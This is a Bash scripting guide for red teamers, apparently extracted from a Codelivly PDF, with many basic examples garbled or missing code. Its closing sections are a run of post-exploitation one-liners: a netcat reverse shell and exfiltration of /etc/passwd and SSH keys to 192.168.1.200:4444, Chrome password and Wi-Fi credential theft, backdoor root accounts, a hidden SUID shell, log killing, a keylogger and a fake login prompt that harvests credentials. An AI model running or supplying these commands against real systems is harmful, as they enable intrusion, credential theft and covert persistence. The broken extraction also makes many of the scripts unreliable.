Shell Script Guide for Red Teams - By Codelivly
Shell Script Guide for Red Teams - By Codelivly
com
In cybersecurity, the ability to think like an attacker is essential for Red Teamers, penetration
testers, and ethical hackers. Shell scripting is a fundamental skill that enables automation,
stealth, and control over a compromised system. Whether it's gathering intelligence, escalating
privileges, maintaining persistence, or exfiltrating data, Bash scripts can streamline and enhance
Red Team operations.
This guide , "Shell Script Examples for Advanced Red Teamers," provides practical, real-
world attack simulations using Bash scripting. The scripts cover basic enumeration, lateral
movement, privilege escalation, evasion techniques, and post-exploitation tactics. Each
example is designed to mimic real-world scenarios, offering a deeper understanding of how
attackers operate while helping security professionals strengthen their defenses.
1
www.codelivly.com
The GNU Bourne-Again Shell (commonly known as Bash) is the default shell for most Linux
distributions. While Bash is typically used in an interactive mode via the Command Line Interface
(CLI), its non-interactive mode is essential for running shell scripts. A shell script is a file containing
a series of commands executed sequentially to automate tasks.
This document provides examples of shell scripts for red teamers, covering fundamental
concepts and practical use cases.
Table of Contents
The combination of # and ! (called Shebang or #!) at the start of a script specifies which
interpreter should execute the script. For Bash scripts, the Shebang should be written as:
2
www.codelivly.com
#!/bin/bash
This ensures that the script is interpreted using Bash. It must always be placed on the first line
of the script file.
mkdir bin
nano bin/hello_world.sh
#!/bin/bash
echo "Hello, World!"
7. Restart your system to ensure the script directory is recognized in the $PATHvariable.
3
www.codelivly.com
bash hello_world.sh
Hello, World!
4
www.codelivly.com
#!/bin/bash
# Declaring variables
name="Tom"
age=12
Output:
You can take user input using the read command and store it in a variable.
#!/bin/bash
Output:
Enter a number:
12
The number you entered is: 12
5
www.codelivly.com
The read command, when used with the -p flag, allows displaying a message alongside the
input prompt.
#!/bin/bash
Output:
Bash allows combining multiple variables into a single string usingdouble quotes ("").
#!/bin/bash
# Defining variables
greeting="Hello"
name="Tom"
# Concatenation
message="${greeting}, ${name}!"
echo "$message"
Output:
Hello, Tom!
6
www.codelivly.com
Instead of hardcoding values, you can pass them as command-line arguments when executing
the script.
#!/bin/bash
name=$1
age=$2
echo "My name is $name and I am $age years old."
Output:
You can also access system environment variables using ${!} syntax.
#!/bin/bash
Output:
7
www.codelivly.com
Bash provides various operators for performing calculations and comparisons. They are
grouped into the following categories:
#!/bin/bash
num1=10
num2=20
sum=$((num1 + num2))
Output:
Sum: 30
#!/bin/bash
num1=30
num2=20
diff=$((num1 - num2))
8
www.codelivly.com
Output:
Difference: 10
#!/bin/bash
num1=6
num2=3
prod=$((num1 * num2))
div=$((num1 / num2))
Output:
Product: 18
Quotient: 2
#!/bin/bash
Output:
9
www.codelivly.com
27
#!/bin/bash
Output:
Enter a number: 35
Enter another number: 15
Addition: 50
Subtraction: 20
Multiplication: 525
Division: 2
10
www.codelivly.com
#!/bin/bash
Output:
Enter a number: 25
The number is odd.
11
www.codelivly.com
This script allows users to choose an operation (+, -, *, / ) and applies it to two numbers.
#!/bin/bash
Output:
#!/bin/bash
12
www.codelivly.com
case $op in
and)
if [[ $val1 == "true" && $val2 == "true" ]]; then
echo "Result: true"
else
echo "Result: false"
fi ;;
or)
if [[ $val1 == "true" || $val2 == "true" ]]; then
echo "Result: true"
else
echo "Result: false"
fi ;;
not)
if [[ $val1 == "true" ]]; then
echo "Result: false"
else
echo "Result: true"
fi ;;
*)
echo "Invalid operator." ;;
esac
Output:
#!/bin/bash
13
www.codelivly.com
Output:
#!/bin/bash
Output:
14
www.codelivly.com
#!/bin/bash
Output:
#!/bin/bash
if [ -w "$filename" ]; then
echo "The file '$filename' is writable."
else
echo "The file '$filename' is not writable."
fi
Output:
15
www.codelivly.com
#!/bin/bash
if [ -f "$name" ]; then
echo "'$name' is a file."
elif [ -d "$name" ]; then
echo "'$name' is a directory."
else
echo "'$name' does not exist."
fi
Output:
16
www.codelivly.com
#!/bin/bash
n=5
until [ $n -eq 0 ]; do
echo $n
n=$((n - 1))
done
Output:
5
4
3
2
1
#!/bin/bash
17
www.codelivly.com
fi
done
Output:
2 4
6 8
10
#!/bin/bash
Output:
5x1=55x2
= 10 5 x 3 =
15
...
5 x 10 = 50
18
www.codelivly.com
done
Output:
#!/bin/bash
19
www.codelivly.com
fact=$((fact * i))
done
Output:
Enter a number: 6
Factorial of 6 is: 720
#!/bin/bash
sum=$((sum + i))
done
Output:
20
www.codelivly.com
Declaring an Array:
Accessing Elements:
Output:
apple
banana
cherry
21
www.codelivly.com
#!/bin/bash
arr=(24 27 84 11 99)
smallest=100000
largest=0
for num in "${arr[@]}"; do
Output:
Smallest: 11
Largest: 99
#!/bin/bash
arr=(24 27 84 11 99)
22
www.codelivly.com
Output:
Original array: 24 27 84 11 99
Sorted array: 11 24 27 84 99
#!/bin/bash
arr=(24 27 84 11 99)
Output:
#!/bin/bash
23
www.codelivly.com
for i in "${arr[@]}"; do
sum=$((sum + i))
done
avg=$((sum / ${#arr[@]}))
Output:
function_name () {
# Code to execute
}
or
24
www.codelivly.com
function function_name {
# Code to execute
}
Calling a Function:
function_name
#!/bin/bash
Palindrome () {
s=$1
if [ "$(echo $s | rev)" == "$s" ]; then
echo "The string is a palindrome."
else
echo "The string is not a palindrome."
fi
}
Output:
25
www.codelivly.com
#!/bin/bash
Prime () {
num=$1
if [ $num -lt 2 ]; then
echo "The number $num is not prime."
return
fi
Output:
Enter a number: 7
The number 7 is prime.
26
www.codelivly.com
#!/bin/bash
Celsius () {
f=$1
c=$(( ($f - 32) * 5 / 9 ))
echo "Temperature in Celsius: $c°C"
}
Output:
#!/bin/bash
Area () {
width=$1 height=$2 area=$((width *
height)) echo "Area of the rectangle:
$area"
Output:
27
www.codelivly.com
#!/bin/bash
Area () {
radius=$1
area=$(echo "scale=2; 3.14 * $radius * $radius" | bc)
echo "Area of the circle: $area"
}
Output:
#!/bin/bash
Grade () {
score=$1
if (( score >= 80 )); then
grade="A+"
elif (( score >= 70 )); then
28
www.codelivly.com
grade="A"
elif (( score >= 60 )); then
grade="B"
elif (( score >= 50 )); then
grade="C"
elif (( score >= 40 )); then
grade="D"
else
grade="F"
fi
echo "Your grade is: $grade"
}
read -p "Enter your score (0-100): " s
Grade $s
Output:
29
www.codelivly.com
if [ $? -eq 1 ]; then
fi
Output:
#!/bin/bash
Output:
30
www.codelivly.com
#!/bin/bash
Output:
Contents of file2.txt:
This is file2.
31
www.codelivly.com
if [ -e "$file" ]; then
cp "$file" "$dest"
echo "File copied to $dest."
else
echo "Error: File does not exist."
fi
Output:
#!/bin/bash
if [ -f "$file" ]; then
rm "$file"
echo "File deleted successfully!"
else
echo "Error: File does not exist."
fi
Output:
32
www.codelivly.com
#!/bin/bash
if [ -f "$file" ]; then
if [ -r "$file" ]; then echo "Readable"; fi
if [ -w "$file" ]; then echo "Writable"; fi
if [ -x "$file" ]; then echo "Executable"; fi
else
echo "Error: File does not exist."
fi
Output:
#!/bin/bash
if [ $? -eq 0 ]; then
echo "Host is up!"
33
www.codelivly.com
else
echo "Host is down!"
fi
Output:
HOST
read -p "Enter port number: " PORT
nc -z -v -w5 "$HOST" "$PORT" &> /dev/null
if [ $? -eq 0 ]; then
echo "Port $PORT on $HOST is open."
else
echo "Port $PORT on $HOST is closed."
fi
Output:
34
www.codelivly.com
#!/bin/bash
Output:
#!/bin/bash
Output:
35
www.codelivly.com
#!/bin/bash
users=$(who | wc -l)
echo "Number of currently logged-in users: $users"
Output:
#!/bin/bash
Output:
36
www.codelivly.com
Important Note:
● These scripts are for educational purposes only. Always ensure you have explicit
permission to test any systems.
● Modify the scripts as needed to fit your specific use case.
● Use these responsibly and ethically.
#!/bin/bash
echo "Hostname: $(hostname)"
echo "OS: $(uname -a)"
echo "Uptime: $(uptime)"
#!/bin/bash
echo "Root Users:"
awk -F: '$3 == 0 {print $1}' /etc/passwd
37
www.codelivly.com
#!/bin/bash
ls -l /etc/passwd /etc/shadow
#!/bin/bash
echo "Active Connections:"
netstat -tunlp | grep LISTEN
#!/bin/bash
echo "Scanning open ports..."
nmap -p- 127.0.0.1
38
www.codelivly.com
#!/bin/bash
grep -i "password" /var/log/syslog 2>/dev/null
#!/bin/bash
find / -type d -perm -0002 2>/dev/null
#!/bin/bash
ps aux | grep -i "password\|ssh\|key"
#!/bin/bash
cat /etc/crontab
ls -l /etc/cron.*
39
www.codelivly.com
#!/bin/bash
arp -a
#!/bin/bash
nmap -sV 192.168.1.100
#!/bin/bash
strings /proc/kcore | grep "PRIVATE KEY"
#!/bin/bash
nmap --script=smb-enum-shares -p 445 192.168.1.100
#!/bin/bash
40
www.codelivly.com
#!/bin/bash
nmap -p 3389 192.168.1.100
#!/bin/bash
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
#!/bin/bash
cat /etc/NetworkManager/system-connections/*
#!/bin/bash
sqlite3 ~/.config/google-chrome/Default/Login\ Data "SELECT
origin_url, username_value, password_value FROM logins;"
41
www.codelivly.com
#!/bin/bash
find ~/.ssh -type f -perm -o+w
#!/bin/bash
useradd -m -G sudo attacker
echo "attacker:password123" | chpasswd
#!/bin/bash
echo "attacker::0:0::/root:/bin/bash" >> /etc/passwd
#!/bin/bash
echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
42
www.codelivly.com
#!/bin/bash
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
service ssh restart
#!/bin/bash
nc -e /bin/bash 192.168.1.200 4444
#!/bin/bash
kill -STOP $$ # Hides the process from listing
43
www.codelivly.com
#!/bin/bash
history -c
#!/bin/bash
touch -t 199901010000 target_file
#!/bin/bash
setenforce 0
#!/bin/bash
killall -9 syslogd
44
www.codelivly.com
#!/bin/bash
nc -w 3 192.168.1.200 4444 < /etc/passwd
#!/bin/bash
tar czf - ~/.ssh | nc 192.168.1.200 4444
#!/bin/bash
tar czf secret.tar.gz /important_data
openssl enc -aes-256-cbc -salt -in secret.tar.gz -out secret.enc -k
"mypassword"
45
www.codelivly.com
#!/bin/bash
logkeys --start --output /tmp/keystrokes.log
Bonus
#!/bin/bash
tar czf - /important_data | base64 > encoded_data.txt
nc -w 3 192.168.1.200 4444 < encoded_data.txt
This hides the contents from simple network monitoring by encoding them.
#!/bin/bash
cp /bin/bash /tmp/.hidden_bash
46
www.codelivly.com
chmod +s /tmp/.hidden_bash
This creates a hidden backdoor shell that can be used later for privilege escalation.
#!/bin/bash
ssh -R 4444:localhost:22 [email protected]
This allows an attacker to connect back into the compromised machine using SSH.
#!/bin/bash
echo -n "Username: " && read user
echo -n "Password: " && read -s pass
echo "$user:$pass" >> /tmp/creds.txt
#!/bin/bash
mkdir -p ~/.ssh
47
www.codelivly.com
This allows password-less SSH access for persistent control over the system.
Online Resources:
🔗 Bash
🔗 Academy
GNU Bash Manual
"Every great Linux admin started with a simple script—keep writing and
improving!"
48
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
49